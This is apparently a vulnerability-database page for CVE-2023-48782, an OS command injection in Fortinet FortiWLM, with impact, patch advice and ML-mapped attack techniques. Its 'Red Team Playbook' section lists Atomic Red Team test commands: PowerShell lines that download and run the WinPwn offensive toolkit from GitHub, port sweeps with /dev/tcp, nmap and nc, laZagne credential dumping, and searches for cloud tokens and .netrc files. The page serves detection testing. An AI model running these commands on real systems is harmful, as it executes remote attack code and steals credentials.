CVE-2023-48782
Overview
This vulnerability is an OS command injection in Fortinet FortiWLM versions 8.6.0 through 8.6.5. The root cause lies in improper neutralization of special elements within HTTP GET request parameters, allowing crafted input to be interpreted as system commands. The flaw affects the input validation mechanism in the FortiWLM web interface handling these parameters.
Vulnerability Description
A improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiWLM version 8.6.0 through 8.6.5 allows attacker to execute unauthorized code or commands via specifically crafted http get request parameters
Impact
An attacker with low-level privileges can remotely execute arbitrary OS commands on the affected FortiWLM device by sending specially crafted HTTP GET requests. This can lead to full compromise of the system, including unauthorized data access, manipulation, or service disruption. The vulnerability requires no user interaction and has a high impact on confidentiality, integrity, and availability (C:H/I:H/A:H) as per the CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N.
Solution
Fortinet has addressed this issue in updated FortiWLM firmware versions beyond 8.6.5. Administrators should apply the latest patches as detailed in the Fortinet advisory FG-IR-23-450 available at https://fortiguard.com/psirt/FG-IR-23-450. The advisory provides specific instructions for upgrading affected FortiWLM devices to secure versions. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Fortinet FortiWLM arises from an improper neutralization of special elements used in operating system commands, commonly referred to as OS command injection. This flaw exists in versions 8.6.0 through 8.6.5 of the product, allowing an attacker to manipulate HTTP GET request parameters to execute unauthorized commands on the underlying operating system. The root cause of this issue lies in the inadequate validation and sanitization of user inputs, which enables malicious actors to craft specific requests that the system interprets as legitimate commands. When these crafted requests are processed, they can lead to arbitrary code execution, potentially compromising the entire system.
Attack vectors for this vulnerability are primarily through web-based interfaces that accept user input via HTTP GET requests. An attacker could exploit this flaw by sending specially crafted requests to the FortiWLM interface, embedding OS commands within the parameters. For instance, an attacker might include shell commands that could read sensitive files, modify system configurations, or even install malicious software. This exploitation could be executed remotely, making it particularly dangerous as it does not require physical access to the affected system. Scenarios could range from a targeted attack against a specific organization to broader exploitation in a botnet scenario, where multiple compromised systems are used to launch coordinated attacks.
The real-world impact of this vulnerability is significant, especially for organizations relying on Fortinet's solutions for network management and security. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential data breaches. The business risks associated with such an incident include financial losses, reputational damage, and regulatory penalties, particularly if sensitive customer information is compromised. Moreover, the high CVSS score of 8.8 indicates that this vulnerability poses a critical risk, necessitating immediate attention from affected organizations to mitigate potential threats.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating FortiWLM to the latest version is crucial, as vendors typically release patches to address known vulnerabilities. Additionally, organizations should employ web application firewalls (WAFs) to filter and monitor HTTP traffic, thereby blocking malicious requests before they reach the application. Conducting regular security assessments, including penetration testing and vulnerability scanning, can help identify potential weaknesses in the system. Furthermore, implementing strict input validation and sanitization practices can significantly reduce the risk of OS command injection attacks. Security awareness training for employees can also play a vital role in recognizing and mitigating potential threats posed by social engineering tactics that may accompany such vulnerabilities.
In conclusion, the OS command injection vulnerability in Fortinet FortiWLM represents a serious threat to organizations utilizing this software. The ability for an attacker to execute arbitrary commands on the system underscores the importance of robust security measures, timely updates, and proactive risk management strategies to safeguard against potential exploitation. As cyber threats continue to evolve, maintaining vigilance and adopting best practices in cybersecurity will be essential for protecting sensitive information and ensuring the integrity of critical systems.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortiwlm | All |
cpe:2.3:a:fortinet:fortiwlm:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-48782 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-23-450 |